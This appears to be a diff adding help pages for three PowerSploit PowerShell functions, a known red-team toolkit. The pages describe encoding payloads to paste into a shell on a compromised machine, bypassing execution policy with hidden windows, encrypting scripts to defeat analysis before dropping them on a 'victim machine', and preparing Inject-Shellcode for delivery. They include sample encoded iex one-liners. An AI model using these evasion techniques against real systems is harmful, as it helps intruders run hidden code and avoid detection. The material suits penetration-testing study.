+
+## SYNOPSIS
+Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.
+
+PowerSploit Function: Out-EncodedCommand
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+## SYNTAX
+
+### FilePath (Default)
+```
+Out-EncodedCommand [[-Path] <String>] [-NoExit] [-NoProfile] [-NonInteractive] [-Wow64] [-WindowStyle <String>]
+ [-EncodedOutput]
+```
+
+### ScriptBlock
+```
+Out-EncodedCommand [[-ScriptBlock] <ScriptBlock>] [-NoExit] [-NoProfile] [-NonInteractive] [-Wow64]
+ [-WindowStyle <String>] [-EncodedOutput]
+```
+
+## DESCRIPTION
+Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt.
+The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload.
+This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies.
+
+## EXAMPLES
+
+### -------------------------- EXAMPLE 1 --------------------------
+```
+Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'}
+```
+
+powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream(\[IO.MemoryStream\]\[Convert\]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),\[IO.Compression.CompressionMode\]::Decompress)),\[Text.Encoding\]::ASCII)).ReadToEnd()
+
+### -------------------------- EXAMPLE 2 --------------------------
+```
+Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput
+```
+
+powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA=

+
+## SYNOPSIS
+Encrypts text files/scripts.
+
+PowerSploit Function: Out-EncryptedScript
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+## SYNTAX
+
+```
+Out-EncryptedScript [-ScriptPath] <String> [-Password] <SecureString> [-Salt] <String>
+ [[-InitializationVector] <String>] [[-FilePath] <String>]
+```
+
+## DESCRIPTION
+Out-EncryptedScript will encrypt a script (or any text file for that
+matter) and output the results to a minimally obfuscated script -
+evil.ps1 by default.
+
+## EXAMPLES
+
+### -------------------------- EXAMPLE 1 --------------------------
+```
+$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+```
+
+Out-EncryptedScript .\Naughty-Script.ps1 $Password salty
+
+Description
+-----------
+Encrypt the contents of this file with a password and salt.
+This will
+make analysis of the script impossible without the correct password
+and salt combination.
+This command will generate evil.ps1 that can
+dropped onto the victim machine.
+It only consists of a decryption
+function 'de' and the base64-encoded ciphertext.
+
+### -------------------------- EXAMPLE 2 --------------------------
+```
+[String] $cmd = Get-Content .\evil.ps1
+```
+
+Invoke-Expression $cmd
+$decrypted = de password salt
+Invoke-Expression $decrypted
+
+Description
+-----------
+This series of instructions assumes you've already encrypted a script
+and named it evil.ps1.
+The contents are then decrypted and the
+unencrypted script is called via Invoke-Expression
+

+## SYNOPSIS
+Strips comments and extra whitespace from a script.
+
+PowerSploit Function: Remove-Comment
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause

+```
+
+### ScriptBlock
+```
+Remove-Comment [-ScriptBlock] <ScriptBlock>
+```
+
+## DESCRIPTION
+Remove-Comment strips out comments and unnecessary whitespace from a script.
+This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big.
+
+A major portion of this code was taken from the Lee Holmes' Show-ColorizedContent script.
+You rock, Lee!
+

+
+### -------------------------- EXAMPLE 1 --------------------------
+```
+$Stripped = Remove-Comment -Path .\ScriptWithComments.ps1
+```
+
+### -------------------------- EXAMPLE 2 --------------------------
+```
+Remove-Comment -ScriptBlock {
+```
+
+### This is my awesome script.
+My documentation is beyond reproach!
+ Write-Host 'Hello, World!' ### Write 'Hello, World' to the host
+### End script awesomeness
+}
+
+Write-Host 'Hello, World!'
+
+### -------------------------- EXAMPLE 3 --------------------------
+```
+Remove-Comment -Path Inject-Shellcode.ps1 | Out-EncodedCommand
+```
+
+Description
+-----------
+Removes extraneous whitespace and comments from Inject-Shellcode (which is notoriously large) and pipes the output to Out-EncodedCommand.
+

+
+Accepts either a string containing the path to a script or a scriptblock.
+
+## OUTPUTS
+
+### System.Management.Automation.ScriptBlock
+
+Remove-Comment returns a scriptblock. Call the ToString method to convert a scriptblock to a string, if desired.
